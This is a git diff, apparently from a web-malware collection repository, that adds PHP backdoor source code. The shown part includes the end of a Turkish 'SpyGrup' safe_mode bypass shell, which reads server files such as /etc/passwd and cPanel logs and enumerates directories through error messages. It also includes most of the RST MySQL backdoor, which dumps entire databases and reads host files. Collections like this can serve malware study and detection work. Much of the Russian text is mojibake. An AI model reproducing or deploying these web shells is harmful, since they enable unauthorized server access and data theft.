verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}.style2 {color: #FF0000} + </style> + <p align="center"><span class="style1"><font face="Verdana" size="5"><a href=""><span style="text-decoration: none; font-weight:700"><font face="Times New Roman">SpyGrup Safe Mod:<span class="style2">ON</span> Fucker <center><h3>RFI Olarak Kullanilmaz .PHP Olarak Host'a Yukleyiniz</h3></center></font></span></a></font></span></b></p> + <br /> + <form method="POST"> + <p align="center">Okunacak Dosya: + <input type="text" name="file" size="20"> + <input type="submit" value="Oku!" name="B1"></p> + </form> + <form method="POST"> + <p align="center">Sunucu Bilgileri: <select size="1" name="file"> + <option value="/etc/passwd">/etc/passwd Oku</option> + <option value="/var/cpanel/accounting.log">Cpanel Loglarini G&ouml;ster</option> + <option value="/etc/syslog.conf">Syslog Ayarlari</option> + <option value="/etc/hosts">Hosts</option> + </select> <input type="submit" value="G&#246;ster Ulen!" name="B1"></p></form> + + <?php + + /* + Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2 + By KingDefacer From Spygrup.org> + */ + + + + $tymczas="./"; // Set $tymczas to dir where you have 777 like /var/tmp + + if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") + { + $safemode = true; + $hsafemode = "<font color=\"red\">A&#231;ik (G&#252;venli)</font>"; + } + else {$safemode = false; $hsafemode = "<font color=\"green\">Kapali (G&#252;venli Degil)</font>";} + echo("G&#252;venlik: $hsafemode"); + $v = @ini_get("open_basedir"); + if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=\"red\">".$v."</font>";} + else {$openbasedir = false; $hopenbasedir = "<font color=\"green\">Kapali (G&#252;venli Degil)</font>";} + echo("<br>"); + echo("Klas&#246;rler Arasi Dolasim: $hopenbasedir"); + echo("<br>"); + $version=("Bypass Version 1.1 Beta"); + echo "Engelleyici Program : <b>"; + if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>G&#246;r&#252;n&#252;rde Bi&#351;iy Yok</font></b>";}else{echo "<font color=red>$df</font></b>";} + $free = @diskfreespace($dir); + if (!$free) {$free = 0;} + $all = @disk_total_space($dir); + if (!$all) {$all = 0;} + $used = $all-$free; + $used_percent = @round(100/($all/$free),2); + error_reporting(E_WARNING); + ini_set("display_errors", 1); + + + echo "<head><title>".getcwd()."</title></head>"; + + echo"<hr color=\"#C0C0C0\" size=\"1\">"; + echo("<br>"); + echo "<form method=GET>"; + echo "<div style='float: left'>ByPass Edilecek Dizin: <input type=text name=root value='{$_GET['root']}'></div>"; + echo "<input type=submit value='--&raquo;'></form>"; + + + $root = "./"; + + if($_POST['root']) $root = $_POST['root']; + if($_GET['root']) $root = $_GET['root']; + if (!ini_get('safe_mode')) die("Safe-mode OFF."); + + $c = 0; $D = array(); + set_error_handler("eh"); + + $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + + for($i=0; $i < strlen($chars); $i++){ + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}"; + + $prevD = $D[count($D)-1]; + glob($path."*"); + + if($D[count($D)-1] != $prevD){ + + for($j=0; $j < strlen($chars); $j++){ + + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}"; + + $prevD2 = $D[count($D)-1]; + glob($path."*"); + + if($D[count($D)-1] != $prevD2){ + + + for($p=0; $p < strlen($chars); $p++){ + + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}"; + + $prevD3 = $D[count($D)-1]; + glob($path."*"); + + if($D[count($D)-1] != $prevD3){ + + + for($r=0; $r < strlen($chars); $r++){ + + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}"; + glob($path."*"); + + } + + } + + } + + } + + } + + } + + } + + $D = array_unique($D); + + echo "<xmp>"; + foreach($D as $item) echo "{$item}\n"; + echo "</xmp>"; + + + + + function eh($errno, $errstr, $errfile, $errline){ + + global $D, $c, $i; + preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o); + if($o){ $D[$c] = $o[2]; $c++;} + + } + echo "<PRE>\n"; + if(empty($file)){ + if(empty($_GET['file'])){ + if(empty($_POST['file'])){ + die("\nHosgeldiniz...Bu Scriptle Sadece c99'da (Safe Mode=ON) Olan Serverlarda Bypass Yapilabilir Digerlerinde Calismaz .. Kolay Gelsin\n <B><CENTER><FONT + COLOR=\"RED\"> + kingdefacer@msn.com</FONT></CENTER></B>"); + } else { + $file=$_POST['file']; + } + } else { + $file=$_GET['file']; + } + } + + $temp=tempnam($tymczas, "cx"); + + if(copy("compress.zlib://".$file, $temp)){ + $zrodlo = fopen($temp, "r"); + $tekst = fread($zrodlo, filesize($temp)); + fclose($zrodlo); + echo"<hr color=\"#C0C0C0\" size=\"1\">"; + echo "<FONT COLOR=\"RED\"><B>--- Start File ".htmlspecialchars($file)." + -------------</B><FONT COLOR=\"white\">\n".htmlspecialchars($tekst)."\n<B>--- End File + ".htmlspecialchars($file)." ---------------\n"; + unlink($temp); + die("\n<FONT COLOR=\"RED\"><B>File + ".htmlspecialchars($file)." Bu Dosya zaten Goruntuleniyor<kingdefacer@msn.com> + ;]</B></FONT>"); + } else { + die("<FONT COLOR=\"RED\"><CENTER>Uzgunum... + <B>".htmlspecialchars($file)."</B> Aradiginiz dosya Bulunamadi + access.</CENTER></FONT>"); + } + + ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/sql.php b/web-malware-collection-master/Backdoors/PHP/sql.php new file mode 100755 index 0000000..f4aba5e --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/sql.php @@ -0,0 +1,1746 @@ +<?php +// TODO :: multi_query, dump, encoding, load_file +error_reporting(E_ALL ^ E_NOTICE); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@set_magic_quotes_runtime(0); //���������� �� ������ ��� ��������� ������ �� ����� +$self=$_SERVER['PHP_SELF']; + +$global_header = "<td valign = \"top\" width = \"3%\">&nbsp;<font face=Webdings size=4>@</font>&nbsp;</td><td><b>RST MySQL&nbsp;</b>(v2.01)</td>"; +//���� php ������� �����, ���������� �� ���.����� ����� ������� ��� �� ���������� +//��������, ��� � �� ���� ����������, ������� ���������� ��� register_globals=on + + +//if (get_magic_quotes_gpc()) strips($_GET); +//if (get_magic_quotes_gpc()) strips($_POST); +//if (get_magic_quotes_gpc()) strips($_GET); + + + +if(!ini_get("register_globals")) { + import_request_variables("GPC"); +} + +strips($GLOBALS); + +function strips(&$el) { + if (is_array($el)) { + foreach($el as $k=>$v) { + if($k!='GLOBALS' && !strstr($k,"_ENV") && !strstr($k,"_SERVER")) { + strips($el[$k]); + } + } + } else { + $el = stripslashes($el); + } +} + +$file = array_key_exists('TEMP',$_ENV)?($_ENV['TEMP']):null; +$SystemRoot = array_key_exists('SystemRoot',$_ENV)?$_ENV['SystemRoot']:'C:\\WINDOWS\\'; + +if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { + if(!$file) + $file = "C:\\WINDOWS\\TEMP\\"; + $file .= "\\dump_".$db.".sql"; + + $p_v=$SystemRoot."\\system.ini"; + $os="win"; +} else { + if(!$file) + $file = "/tmp/"; + $file .= "\\dump_".$db.".sql"; + + $p_v="/etc/passwd"; + +} +if ($_GET['send']=='send_http') { +function download($file, $type = false, $name = false, $down = false) { +if(!file_exists($file)) exit; +if(!$name) $name = basename($file); +if($down) $type = "application/force-download"; +else if(!$type) $type = "application/download"; +$disp = $down ? "attachment" : "inline"; +header("Content-disposition: ".$disp."; filename=".$name); +header("Content-length: ".filesize($file)); +header("Content-type: ".$type); +header("Connection: close"); +header("Expires: 0"); +set_time_limit(0); +readfile($file); +unlink($file); +exit; +} +if ($_GET['strukt']=='d_strukt_bd' && $_GET['dump']=='bd'){ + $host = $_SERVER["SERVER_NAME"]; + $ip = $_SERVER["SERVER_ADDR"]; + $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error"); + mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error"); + if (sizeof($tabs) == 0) { + // �������� ������ ������ ���� + $res = mysql_query("SHOW TABLES FROM $db", $connection); + if (mysql_num_rows($res) > 0) { + while ($row = mysql_fetch_row($res)) { + $tabs[] .= $row[0]; + } + } + } + // ��������� ���� ��� ������ ����� + $fp = fopen($file, "w"); + fputs ($fp, "# RST MySQL tools\n# Home page: http://rst.void.ru\n#\n# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ". + date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n"); + foreach($tabs as $tab) { + if ($add_drop) { + fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n"); + } + // �������� ����� ������� �������� ��������� ������� + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error()); + $row = mysql_fetch_row($res); + fputs($fp, $row[1].";\n\n"); + + // �������� ������ ������� + $res = mysql_query("SELECT * FROM `$tab`", $connection); + if (mysql_num_rows($res) > 0) { + while ($row = mysql_fetch_assoc($res)) { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + fputs($fp, $sql); + } + } + fputs ($fp, "#---------------------------------------------------------------------------------\n\n"); + } + fclose($fp); +} +if ($_GET['strukt']=='d_strukt'){ + $host = $_SERVER["SERVER_NAME"]; + $ip = $_SERVER["SERVER_ADDR"]; + $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error"); + mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error"); + $fp = fopen($file, "w"); + fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ". + date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n"); + // �������� ����� ������� �������� ��������� ������� + $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error"); + $row = mysql_fetch_row($res); + fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n"); + fputs($fp, $row[1].";\n\n"); + // �������� ������ ������� + $res = mysql_query("SELECT * FROM `$tbl`", $connection); + if (mysql_num_rows($res) > 0) { + while ($row = mysql_fetch_assoc($res)) { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n"; + fputs($fp, $sql); + } + } + + fclose($fp); +} +if ($_GET['strukt']=='t_strukt'){ + $host = $_SERVER["SERVER_NAME"]; + $ip = $_SERVER["SERVER_ADDR"]; + $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error"); + mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error"); + $fp = fopen($file, "w"); + fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ". + date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n"); + $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error"); + $row = mysql_fetch_row($res); + fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n"); + fputs($fp, $row[1].";\n\n"); + fclose($fp); +} +if ($_GET['strukt']=='d'){ + $host = $_SERVER["SERVER_NAME"]; + $ip = $_SERVER["SERVER_ADDR"]; + $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error"); + mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error"); + $fp = fopen($file, "w"); + $res = mysql_query("SELECT * FROM `$tbl`", $connection); + if (mysql_num_rows($res) > 0) { + while ($row = mysql_fetch_assoc($res)) { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n"; + fputs($fp, $sql); + } + } + fclose($fp); +} +download($f_dump); +} +function send_header() { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); +} +if ($_GET['img']=='st_form_bg') { + $st_form_bg='R0lGODlhCQAJAIAAAOfo6u7w8yH5BAAAAAAALAAAAAAJAAkAAAIPjAOnuJfNHJh0qtfw0lcVADs='; + send_header(); + echo base64_decode($st_form_bg); +} +if ($_GET['img']=='bg_f') { +$bg_f='R0lGODlhAQARAMQAANXW1+7w8uvt79TV18jJye3w8+zu8Ofp7MfIydzd3+fo687P0Nvc3eHi5eP'. + 'k5sPDw87OzwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BA'. + 'AAAAAALAAAAAABABEAAAUP4IMsQOIcRlAISsMMEBECADs='; + send_header(); + echo base64_decode($bg_f); +} +if ($_GET['img']=='b_close') { +$b_close='R0lGODlhdwAUAOYAANWEhdJYWNiwsc0PD9aTk88sLNA7O9rNztehotR1dk0AANQnJ4IAANc1Ndg9PWYAAL4'. + 'AAM8PD6AAANg8POiLi8yEhb0sLIYAAGIAAMRYWOeGhtc5Oc8NDeR3d1gAANuEhU4AAKcAANJbW9Z1dt1XV8'. + 'IAAONzc8QAAOqXl6gAAO2kpOJvb9IeHtuOj88QENYwMHUAANASEt9hYbAAAIwAAHkAAD0AAL0AAN5aWtQpK'. + 'c4MDNROT0UAAKwAANtJSdQqKtAUFOqYmMwCAuR2dtuiou2jo95bW8l1dtc3N+ucnI4AAJMAAHoAAD4AANWK'. + 'i+yfn5IAAOuZmdaVls4KCtlAQJQAAEAAANtMTOFra3EAAJEAALgAAOFpaWcAAOeFhXAAAN9dXeqVlTcAANg'. + '6Ol4AANNnZ9m/wLUAANEbG9tKSoQAAOiOjuaCglYAAOJsbDQAANvc3cwAAAAAAAAAAAAAAAAAAAAAAAAAAA'. + 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAB3ABQAAAf/gFFFKk9ha4eIiYqLjI2Oj5CRk'. + 'pOJGiY4GxwUQUkoFGygoaKjpKWmp6ipqqusokNGSBwzHV4UGh1uubq7vL2+v8DBwsPExbtgYy5nSjJYK1wk'. + 'adLT1NXW19jZ2tvc1h8tRB/d2BsxW0tZPldpVD9o7/Dx8vP09fb3+PnxO3D9cCP66k05UwWGBwcTGiyIEKe'. + 'hw4cQI0qcSLGixYsOB8A5UKYAxooQJDB4oAChQoYNBfgzEIeAvwQNzcg0w3KASzhmBrQ0A2CjTgJm4pShac'. + 'BMmThmCAg1OnQmgaEsIwLteeDnyzg9AwCA2fCmgAFFZ8pUGkdAzoYhR5ZMuLChgQMA/xDgjAP3ZhwD/Q7MV'. + 'UlAJYI4/QjohdkPKZwBPcvgRVCgXxmg/Yyq9Bgx8GC6AOz66/dXLgK+QyNDFgrnL1qRJE22bTggQBk4AOK0'. + '7gmHdAKNAPAKCBAAZ2MBcXoD+A249uTXCfTCYUm8OIDhD4kLl621n8acGuE0n1s8ZW0z2h2mTc0WJWmfrzf'. + 'OvWmdtj8Er2P3ThCfeGGXB5Q3jC97c22H/M2Xnl5mTGdYAnAcBVhQ1zWUWGkPjbfWSRC95gQcwE0HXnXPJf'. + 'hQVi0tl1V8DYK3HHcgTqfXh3AEEKIIGAYHm4E4gYicjLGdF554qE24WoIBqCQFhgHodVQ/AKhUxv9rHJUhQ'. + 'FEJvhYUeJAhIFdsjvVGFng69SSAS0E5BN6SOPW2m5HZBRllaWXo5VFiDfUGYYQ9qsYQXv585V8BeAbWkFz+'. + 'FOePR/75o1iMCCpYWFmbRdXQntkNipU/OSq3nHeO9kMZj2rZ6RBvlLWmk0UFBMAchqV+pCpEv6XKWgCjOlR'. + 'qrHe5ONFrptHZaXmrWsRfr8D+CqxF/TjKKUkv5MCCDiWc4eyz0EYrrbQZVGDBtNhmq62z1V677bfSWlDBEd'. + 'OGQMMXHvAAhBA3pKCFGvDGK++89NZr77345qvvvvzKywQGIFjxxgk9QFEDBm0krPDCDDfs8MMQRyzxxBRXv'. + 'DArCDa8oXEIF3ShgBgahyzyyCSXbPLJKKes8soso3wBGU20LPPMNNdsc8qBAAA7'; + send_header(); + echo base64_decode($b_close); +} +$n_img = create_function('$tag,$f_n,$img_c', 'print \'<\'.$tag.\'>\';$f_n("$img_c");'); +$h_error="<br><table align=center width=500 height=70 bgcolor=red><b>������ � �������:</b><tr><td align=center><br><h5>"; +$f_error="</h5></td></tr></table> +<CENTER><FORM><INPUT type=\"button\" value=\" << ����� \" onClick=\"history.go(-1)\"><BR> +</FORM></CENTER> +</td></tr></table></td></tr></table> +<table align=center width=100% cellpadding=0 cellspacing=1 bgcolor=#000000> +<tr><td> + <table background=".$self."?img=bg_f align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#C2C2C2> + <tr> + <td align=center> + &copy;RusH Security Team (coded by dinggo, Modified by AOH)<br /> + </td> + </tr> + </table> +</td></tr> +</table> +</td></tr></table>"; + + print " + + + <!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\"> + <html><HEAD><TITLE>RST MySQL</TITLE> + + <META http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\"> + <META HTTP-EQUIV=\"CACHE-CONTROL\" CONTENT=\"NO-CACHE\"> + <style type = \"text/css\"> + td { + font-family: verdana, arial, ms sans serif, sans-serif; + font-size: 11px; + color: #000000; + } + BODY { + margin-top: 4px; + margin-right: 4px; + margin-bottom: 4px; + margin-left: 4px; + scrollbar-face-color: #b6b5b5; + scrollbar-highlight-color: #758393; + scrollbar-3dlight-color: #000000; + scrollbar-darkshadow-color: #101842; + scrollbar-shadow-color: #ffffff; + scrollbar-arrow-color: #000000; + scrollbar-track-color: #ffffff; + } + A:link {COLOR:blue; TEXT-DECORATION: none} + A:visited { COLOR:blue; TEXT-DECORATION: none} + A:active {COLOR:blue; TEXT-DECORATION: none} + A:hover {color:red;TEXT-DECORATION: none} + input, textarea, select { + background-color: #EBEAEA; + border-style: solid; + border-width: 1px; + font-family: verdana, arial, sans-serif; + font-size: 11px; + color: #333333; + padding: 0px; + } + li { + margin-left:16px; + } + </style></HEAD><BODY>"; + + +if ($sapi_type == "cgi") { + $php_type="CGI"; +} else { + $php_type="������"; +} + +$form_file=" + <table width=80% align=center border=0> + <tr><td align=center>������&nbsp;�������������&nbsp;�����,&nbsp;�������&nbsp;(&nbsp;<b>$server</b>&nbsp;)</td></tr> + <tr><td> + <table cellpadding=5 cellspacing=1 bgcolor=#FFFFFF border=0> + <tr bgcolor=#DBDCDD><td align=center> + ��� �������, ��� ���� �������� ��� <b>������</b> � ��� + ������� � ������������ ���������� <b>FILE</b>, <b>SELECT</b>, + <b>CREATE</b>, ���������� ���� � ����� - �������� ������ ������������� �����. + ����� ����������� ��� <b>safe_mode</b> � <b>safe_basedir</b> + </td></tr></table></td></tr> + <form method=\"get\" action=\"$self?f=x_file\"> + <input type=\"hidden\" name=\"s\" value=\"$s\"> + <input type=\"hidden\" name=\"server\" value=\"$server\"> + <input type=\"hidden\" name=\"port\" value=\"$port\"> + <input type=\"hidden\" name=\"login\" value=\"$login\"> + <input type=\"hidden\" name=\"passwd\" value=\"$passwd\"> + <tr><td align=center><br>������ ���� � �����: <input type=\"text\" name=\"p_file\" value=\"$p_v\" size=\"40\">&nbsp;&nbsp;&nbsp;&nbsp; + <input type=\"submit\" value=\"�������� ����\">&nbsp;&nbsp;&nbsp;&nbsp;</td></tr></table><br>"; + +$start_form="<br> +<table align=center border=0 width=100% cellpadding=2 cellspacing=0 bgcolor=#FFFFFF> + <tr> + <td> +<table align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#000000> +<tr><td> + <table background=".$self."?img=bg_f border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#C2C2C2> + <tr> + ".$global_header." + <td width=33% align=right> + ".date ("j-F-Y g:i")."&nbsp;&nbsp; + </td> + </tr> + </table> +</td></tr> +</table> + +</td></tr> +<tr><td> + +<table align=center border=0 width=80% cellpadding=2 cellspacing=0 bgcolor=#FFFFFF> + <tr> + <td bgcolor=#DBDCDD valign=top width=200><br> + <center><b>������� ��� ������ � MySQL</b></center><hr width=98%> + <li>�������� ��� � ������.</li> + <li>������������ ������� � ��.</li> + <li>�������������� ��� � ������.</li> + <li>����� �� ��� ������.</li> + <hr width=98%> + Type - FREE<br> + Home page: <a href=http://rst.void.ru><b>http://rst.void.ru</b></a><br /> + Mod by: <a href='http://artofhack.kz'><b>http://artofhack.kz</b></a> + </td> + <td background=".$self."?img=st_form_bg bgcolor=#E6E7E9><center><font size=2> + <br>��� ���������� � �������� MySQL ������� <b>���</b>, <b>������</b> (������������ MySQL) � ��� <b>�����</b>.</font></center><br> + <li>���� ����� ����� mysql �� ������ ����, �� ��������� ������������� ��� ��������� ��������.</li> + <li>���� ������ ����� mysql �� ������ ����, �� ��������� ������������� ������ ������.</li> + <li>���� ��� �������� mysql �� ������� ����, �� ��������� ������������� <b>localhost</b></li> + <li>���� ���� ��� �������� mysql �� ������ ����, ������������� ���� �� ���������, ������ (<b>3306</b>)<br><br></li> + <center>������ PHP (<b>".phpversion()."</b>)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ID PHP script (<b>".get_current_user( )."</b>)</center> + <br><table align=center> + <tr><td>��� ����� MySQL</td><td align=right>������ ����� MySQL&nbsp;</td></tr> + <form method=\"get\" action=\"$self\"> + <input type=\"hidden\" name=\"s\" value=\"y\"> + <tr> + <td><input type=\"text\" name=\"login\" value=\"root\" maxlength=\"64\"></td> + <td align=right><input type=\"text\" name=\"passwd\" value=\"$passwd\" maxlength=\"64\"></td> + </tr> + <tr><td>������ MySQL</td><td>����</td></tr> + <tr> + <td><input type=\"text\" name=\"server\" value=\"localhost\" maxlength=\"64\"></td> + <td><input type=\"text\" name=\"port\" value=\"3306\" maxlength=\"6\" size=\"3\"> + <input type=\"submit\" value=\"������������\"></td> + </tr></table><br> + </td> + </tr> +</table> + +</td></tr> +<tr><td> +<table align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#000000> +<tr><td> + <table background=".$self."?img=bg_f align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#C2C2C2> + <tr> + <td align=center> + &copy;RusH Security Team (coded by dinggo, Modified by AOH)<br /> + </td> + </tr> + </table> +</td></tr> +</table> +</td></tr></table> +"; + +if ($os =='win') { +$os="OS - <b>".$_ENV["OS"]."</b>"; +}else{ + $str_k=$_ENV["BOOT_FILE"]; + $k=preg_replace ("/[a-zA-Z\/]/","", $str_k); + $os="OS\Kernel: <b>".$_ENV["BOOT_IMAGE"].$k."</b>"; + +} + +if (!isset($s) || $_GET['s'] != 'y') { print $start_form; + $serv = array(127,192,172,10); + $adrr=@explode('.', $_SERVER["SERVER_ADDR"]); + //if (!in_array($adrr[0], $serv)) { + //��� ��������� ����� ������ ������� ������� ��� �������� + //����� ������ � ��������� ��������� �� � ����� + //@print "<img src=\"http://rst.void.ru/version_sql/version.php\" border=0 height=0>"; + //@readfile ("http://rst.void.ru/version_sql/version.php"); + //} +exit; +} + +if (isset($server)&&isset($port)&&isset($login)&&isset($passwd)){ + $connection = mysql_connect($server.":".$port, $login, $passwd) or die("$header<table align=center width=80% bgcolor=red><tr><br>������ ���������� � MySQL �������� <b>$server</b><td><center><font size=2><b>".mysql_error()."</b></font></center><br><b>��������� ������:</b><li>�� ���������� ����� ������� <b>$server</b><li>�� ���������� ����� ����� <b>$port</b><li>�� ������ ��� (login) ����� mysql <b>$login</b><li>�� ������ ������ (password) ����� mysql <b>$passwd</b><li>������ � ������� $server �������� � ������ <b>".getenv('REMOTE_ADDR')."</b><li>��������� ������ �������� �� ��������</td></tr></table><br></td></tr></table><script>alert('�� �������� ���������� ���������� � MySQL �������� $server \\n\\n ��������� ������������ �������� ������:\\n\\n������ $server\\n���� $port\\n��� $login\\n������ $passwd');</script><head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self'></head>"); +$mysql_version = mysql_get_server_info($connection); +} + +$form_ad_b="<br> +<table width=80% align=center border=0 cellpadding=0 cellspacing=1 bgcolor=#FFFFFF> + <tr> + <td> + <table width=100% align=center border=0 cellpadding=4 cellspacing=0 bgcolor=#DBDCDD> + <td> + MySQL: <b>$server</b><br /> + Ver: <b>$mysql_version</b> + </td> + <td align=center> + <b>".$_SERVER["SERVER_SOFTWARE"]."</b> + </td> + <td align=right> + ������ PHP (<b>".phpversion()."</b>) $php_type + </td> + </tr> + <tr bgcolor=#DBDCDD> + <td> + IP:<b>".$_SERVER["SERVER_ADDR"]."</b> Name:<b>".$_SERVER["SERVER_NAME"]."</b> + </td> + <td align=center> + ID PHP script (<b>".get_current_user( )."</b>) + </td> + <td align=right> + $os + </td> + </tr> + </table> +</td></tr></table> +<table width=80% align=center border=0 cellpadding=5 cellspacing=1> + <tr> + <td> + <a href=\"$self?s=$s&stat=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>���������� MySQL</b></a> + </td> + <td align=center> + <a href=\"$self?s=$s&php=ok&_login=$login&_passwd=$passwd&_server=$server&_port=$port\" target=\"_blank\"><b>���������� PHP (ALL)</b></a> + </td> + <td align=right> + <a href=\"$self?s=$s&proc=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>�������� MySQL </b></a> + </td> + </tr> + <tr> + <td> + <a href=\"$self?s=$s&apc=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>���������� Apache </b></a> + </td> + <td align=center> + <a href=\"$self?s=$s&var=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>���������� MySQL </b></a> + </td> + <td align=right> + <a href=\"$self?s=$s&f=x_file&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"�������� ������������� ����� ������� ���� ��� ��������� safe_mode � safe_mode_exec_dir\"><b>���� *?</b></a> + </td> + </tr> +</table><br> + +<table width=300 align=center cellpadding=0 cellspacing=1 bgcolor=#FFFFFF> +<tr bgcolor=#DBDCDD><td> +<table align=center cellpadding=0 cellspacing=0> + <tr bgcolor=#DBDCDD> + <td> <table cellpadding=4><tr><td><b>������� ����� ���� ������</b></td></tr><tr><td> + <form method=\"get\" action=\"$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port\"> + <input type=\"hidden\" name=\"s\" value=\"$s\"> + <input type=\"hidden\" name=\"server\" value=\"$server\"> + <input type=\"hidden\" name=\"port\" value=\"$port\"> + <input type=\"hidden\" name=\"login\" value=\"$login\"> + <input type=\"hidden\" name=\"passwd\" value=\"$passwd\"> + <input 